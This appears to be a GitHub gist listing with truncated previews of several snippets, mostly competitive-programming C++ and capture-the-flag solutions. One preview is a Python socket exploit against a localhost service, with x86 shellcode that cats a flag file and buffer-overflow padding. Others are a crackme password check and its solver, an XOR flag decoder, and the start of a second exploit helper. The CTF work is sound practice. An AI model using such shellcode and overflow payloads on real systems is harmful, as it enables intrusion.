This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
using namespace std; | |
#define J 1 | |
#define O 2 | |
#define I 4 | |
int need[1000]; | |
int dp[8][1000]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
#include <vector> | |
#include <utility> | |
#include <algorithm> | |
#include <queue> | |
#define INF 0xfffffff | |
using namespace std; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public void check_password(string password) { | |
string environmentVariable = MyProject.Application.GetEnvironmentVariable("USERNAME"); | |
string s = "_P4d11n9_" + environmentVariable + "_P4d11n9_"; | |
MD5CryptoServiceProvider cryptoServiceProvider = new MD5CryptoServiceProvider(); | |
byte[] hash1 = cryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(s)); | |
int[] numArray = new int[6] {1310, 1450, 1435, 1316, 1302, 1439}; | |
int index1 = 0; | |
int num1 = 0; | |
int num2 = hash1.Length - 1; | |
int index2 = num1; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
flag = "jV[\036xR_Y\036WM\004\036]\006\017\b_\006[_\\\r\r_\b\t\a\n\t]Z\b\n\t_\tX]\aX\\\f\v\n" | |
print "".join(chr(ord(c) ^ (0x37+7)) for c in flag) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from hashlib import md5 | |
from sys import exit | |
def check(s): | |
vals = [1310, 1450, 1435, 1316, 1302, 1439] | |
return all(ord(s[i*3])^1337 == vals[i] for i in range(6)) | |
chars = ["", "_"] + [chr(i) for i in range(ord("A"), ord("Z")+1)] + [chr(i) for i in range(ord("a"), ord("z")+ | |
1)] | |
password = "6sZh2HZCx3DI66Xs" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <setjmp.h> | |
#include "stack.h" | |
#include "queue.h" | |
#include "template.h" | |
#define _tmp_var(name) \ | |
__tmp_var(name, __LINE__) | |
#define __tmp_var(name, line) \ | |
___tmp_var(name, line) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from socket import * | |
from time import time, sleep | |
from struct import pack | |
from sys import argv | |
HOST = "localhost" | |
shellcode = "\x31\xc0\x50\x68\x66\x6c\x61\x67\x68\x2e\x2e\x2f\x2f\x54\x5f\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x54\x5b\x50\x57\x53\x54\x59\x6a\x0b\x58\xcd\x80" # should use connectback shellcode actually | |
def main(): | |
payload1 = "a" * 34 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
#include <utility> | |
#include <algorithm> | |
using namespace std; | |
typedef pair<int, int> Pair; | |
inline int det(Pair p1, Pair p2) { | |
return p1.first * p2.second - p1.second * p2.first; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
#include <cmath> | |
#include <utility> | |
#include <algorithm> | |
using namespace std; | |
#define PI 3.1415926535 | |
typedef pair<int, int> Pair; | |
int n; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import string | |
from socket import * | |
from struct import pack, unpack | |
from commands import getoutput | |
from time import sleep, time | |
from sys import argv, exit | |
def read_noblock(p, n): | |
p.setblocking(False) | |
try: |